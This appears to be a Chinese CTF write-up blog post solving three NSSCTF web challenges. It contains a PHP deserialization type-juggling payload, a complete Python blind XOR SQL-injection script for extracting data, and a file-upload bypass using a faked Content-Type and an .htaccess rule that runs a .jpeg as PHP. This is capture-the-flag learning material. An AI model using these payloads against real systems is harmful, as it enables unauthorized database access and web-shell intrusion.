当前位置: 首页 > article >正文

nssctf web (3)

[HUBUCTF 2022 新生赛]checkin

<?php 
show_source(__FILE__);  #将当前文件的代码显示到页面
$username  = "this_is_secret"; #给username赋值
$password  = "this_is_not_known_to_you";  #给password赋值
include("flag.php");//here I changed those two   #包含flag.php
$info = isset($_GET['info'])? $_GET['info']: "" ; #通过get方法获取info参数判断是不是空,默认为空字符
$data_unserialize = unserialize($info); #将info反序列化
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){  #判断反序列化后的info中的username和password是不是一样
    echo $flag; 
}else{
    echo "username or password error!";

}

?>
username or password error!

这里我们可以传入username和password的值为布尔值的true

那这个查询语句就一定为true

先构建数组

a:2:{s:8:"username";b:1;s:8:"password";b:1;}

这里代表创建数组里面有两个键值对 

username ==》true

password ==》 true

 

[CISCN 2019华北Day2]Web1

他提示了表和库的名字是flag

这里输入1会输出hello 通过尝试发现过滤了 union and or

所以尝试异或的sql注入脚本 

import requests
import time

url = "http://node2.anna.nssctf.cn:28302/index.php"
payload = {     #这里代表数组 键为id 值为下面的语句
	"id" : ""
} 
result = ""     
for i in range(1,100):
	l = 32      #l和r代表ascill码的起始和结束
	r =160        
	mid = (l+r)>>1   #通过二分法来猜测 通过调整l和r的值得到mid的值这里通过>>1 代表整除 在通过返回来的数据即返回hello 代表要增加l的值 如果不返回hello的字符串则减小r的值,再不断重复这个过程知道l和r的值只差1
	while(l<r):      
		payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)  #通过format 调用i和mid {0}{1}代表i和mid   ascill用来获取字符串的ascil码 substr用于提取字符串的字串
		html = requests.post(url,data=payload)  #这里通过request发送post请求 请求地址是url data内容是payload 也就是 id:0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid
		print(payload)
		if "Hello" in html.text:   #判断返回的页面内容里面有没有hello
			l = mid+1              #有hello 增加 这里用初始的 32 和 160 举例 就是192 也就是96 这里92返回hello 即 l等于 92+1=93
		else:
			r = mid                #还是用32 160 举例 也就是当96 没有返回hello的时候 r会变成92
		mid = (l+r)>>1             #这里代表重新给mid赋值
	if(chr(mid)==" "):             #这里代表如果猜测到最后mid的值为空格就break
		break
	result = result + chr(mid)     #通过chr是mid从ascill码变成字符串 在通过result 存放在result中 同时这里也结束了本次循环
	print(result)                  #输出result这里存在着flag
print("flag: " ,result)

[GXYCTF 2019]BabyUpload

 

上传一句话木马 发现不行 

 过滤ph 那phtml这种就不行了

发现jpeg png 都不让过猜测是对concent-Type做了过滤

 

png不行

 

发现jpeg可以但是内容不行这里写个js

 

 

 

 然后我们通过.htaccess

.htacess可以用来修改文件的后缀名

<FilesMatch "1.jpeg">   
SetHandler application/x-httpd-php
</FilesMatch>

 <FilesMatch> 标签用于为文件名匹配给定的正则表达式的文件设置配置。在这里,它将为文件名为 1.jpeg 的文件设置以下配置

SetHandler 用于设置匹配文件的处理器。在这里,将 1.jpeg 文件的处理器设置为 application/x-httpd-php

application/x-httpd-php 是PHP文件处理器,所以这行配置将使得 1.jpeg 文件由 PHP 进行解析执行

 

要改content-type

 

 

 


http://www.kler.cn/news/17476.html

相关文章:

  • 八股+面经
  • 一个go http和grpc客户端库
  • Zigbee 无线串口通信模块( DL-22 )
  • 【Python入门篇】——Python基础语法(标识符与运算符)
  • 文献集锦 | 非因生物空间多组学技术在头颈部肿瘤中的研究策略
  • 7.3 有源滤波电路(1)
  • Springcloud--docker快速入门
  • k8s DCGM GPU采集指标项说明
  • 操作系统之死锁处理策略
  • 体验 nanoGPT
  • PWLCM分段线性混沌映射
  • 日语学习(一)
  • flink-on-yarn两种提交模式及其区别
  • 【Linux问题合集001】Linux中如何将用户添加到sudo组中的步骤
  • 武忠祥老师每日一题||不定积分基础训练(六)
  • Lattics ——一款简单易用、好看强大的知识管理工具
  • 【Spring Security第一篇】初始Spring Security、表单认证、认证与授权
  • Docker安全最佳实践
  • 算法的时间复杂度和空间复杂度(友友们专属限定版)
  • linux常用操作
  • Java ---比较器
  • 武忠祥老师每日一题||定积分基础训练(五)
  • java基础:接口的定义与实现
  • 今日事务java所感
  • 深入源码理解redis数据结构(一)
  • 从 Elasticsearch 到 Apache Doris,10 倍性价比的新一代日志存储分析平台
  • IronOCR 2023.4.13 Crack
  • 【移动端网页布局】流式布局案例 ⑥ ( 多排按钮导航栏 | 设置浮动及宽度 | 设置图片样式 | 设置文本 )
  • JDK17新特性之--新的Compact Strings(JEP 254)
  • 以两分钟了解Python之SQLAlchemy框架的使用